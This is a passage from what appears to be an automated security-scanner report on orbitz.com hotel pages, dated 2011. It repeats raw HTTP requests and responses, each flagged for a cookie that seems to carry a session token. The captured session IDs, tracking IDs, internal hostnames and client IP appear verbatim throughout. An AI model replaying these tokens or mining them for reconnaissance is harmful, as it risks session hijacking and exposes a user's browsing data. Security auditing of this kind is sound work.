dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=474B9D21867D878F5D238FE6587CDFD0; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:26:35 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:12:28 GMT Content-Length: 556521
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/United_Kingdom/London/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=DF1AC56A4A36657194045DCBE807270F; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:26:17 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:12:10 GMT Content-Length: 548196
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/United_States--CA/Los_Angeles/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=BB91361DBADE1A51A4DFD6A67CD15903; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:26:50 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:12:43 GMT Content-Length: 551635
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/United_States--CA/Los_Angeles/%20 HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=5A05E82B8C1D2F635C9D1B06395759E9; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:26:42 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Content-Length: 34 Date: Wed, 02 Feb 2011 16:12:43 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/United_States--CA/San_Diego/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=067DEC1369D71276439BBE2E814093F2; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:26:52 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:12:44 GMT Content-Length: 554064
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/United_States--CA/San_Francisco/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=6E407EEB7C11176786FE98DFEBED0C34; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:26:44 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:12:36 GMT Content-Length: 552620
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/United_States--FL/Miami/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=33E8004D61285916135D5168A58C0149; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:26:22 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:12:14 GMT Content-Length: 556927
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/United_States--FL/Orlando/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=531639EA775BCB0F57839684FE740F16; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:26:18 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:12:11 GMT Content-Length: 547361
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/United_States--IL/Chicago/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=7772DAA91090BC9F1B85EAC0BFE8002C; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:26:56 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:12:48 GMT Content-Length: 556129
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/United_States--NV/Las_Vegas/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=7A92F5F73440CFC82F9CDCCCE0E333AA; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:26:11 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:12:04 GMT Content-Length: 568405
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
